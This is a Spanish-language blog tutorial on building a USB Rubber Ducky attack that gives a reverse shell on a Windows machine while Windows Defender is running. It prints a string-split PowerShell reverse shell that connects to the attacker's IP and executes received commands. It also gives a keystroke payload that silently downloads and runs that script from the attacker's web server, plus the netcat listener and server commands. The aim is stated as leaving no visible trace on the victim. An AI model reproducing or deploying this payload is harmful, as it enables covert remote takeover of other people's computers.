Reverse shell con el USB RubberDucky

February 5, 20232 minutes

Vamos a estar preparando el USB Ruber Ducky con un payload el cual no permitirá mandarnos una reverse shell desde una máquina Windows con el Windows defender activad

Reverse shell con el USB RubberDucky

¿Qué es una reverse shell?

Una reverse shell (conexión inversa), es una técnica utilizada en hacking para obtener acceso remoto a un dispositivo comprometido.

“Esquema sacado de https://sshteam.com/en/conexiones-inversas-y-directas/”

Reverse shell a un windows con RubberDucky

inject.ps1

Para crear la Reverse shell vamos a usar este script de PowerShell hecho por 0iphor13, nos lo tenemos que guardar en un archivo llamado inject.ps1

$I='192.168.1.142';$P=443;$0LVhbQ=[TyPE]('tExT'+'.enCOD'+'InG');$C=.('New'+'-Obj'+'ect') System.Net.Sockets.TCPClient($I,$P);$S=$C.GetStream();[byte[]]$b=0..65535|&('%'){0};while(($i=$S.Read($b,0,$b.Length))-ne 0){;$d=(&('New'+'-Ob'+'ject') -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$X=(&('ie'+'x') $d 2>&1 | .('Out'+'-St'+'ring'));$Z=$X+'ReverseDucky '+(&('g'+'l'))+'~ ';$sbt=($0lvHBq::ASCII).GetBytes($Z);$S.Write($sbt,0,$sbt.Length);$S.Flush()};$C.Close()
  • La variable ‘I’ tiene que ser la ip del atacante

    $I='192.168.1.142'
    
  • La variable ‘P’ tiene que ser el puerto por el cual vamos a estar en escucha, en este caso el puerto 443

    $P=443
    

Ahora desde la carpeta que tenemos guardado el script vamos a abrir un servidor con python por el puerto 80 para podernos pasar el script a la máquina víctima

sudo python3 -m http.server 80

Rubber Ducky payload

Por parte del rubberducky vamos a usar este payload

DELAY 2500
GUI r
DELAY 1000
STRING powershell -w hidden "IEX(New-Object Net.WebClient).downloadString('http://192.168.1.142/inject.ps1')"
ENTER

Este payload lo que hace es:

  1. Esperar 2,5 segundos
  2. Presionar windows + r para abrir el lanzador de windows
  3. Esperar 1 segundo para que se abra el lanzador de windows
  4. Ejecuta un comando que lo que hace es descargarse el inject.ps1 de la máquina del atacante desde el servidor que hemos montado previamente en python y lo ejecuta en segundo plano sin mostrar nada por pantalla

Para pasarlo a binario vamos a usar la web https://ducktoolkit.com/encode, vamos a pegar ahí el script, seleccionamos el idioma que tenga el teclado de la victima, lo descargamos y lo pasamos a la micro sd del rubber ducky.

Por último solo nos queda ponernos en escucha con netcat por el puerto 443.

sudo nc -nlvp 443

Resultado

Después de conectar el USB a la máquina víctima, en el servidor de python podemos ver como el rubber ducky a hecho una petición GET desde la máquina víctima

Desde la terminal que estábamos en escucha por el puerto 443 con nc podemos ver que hemos recibido una conexión de la máquina víctima

Mientras que desde la máquina víctima no se ve nada raro

Video del resultado: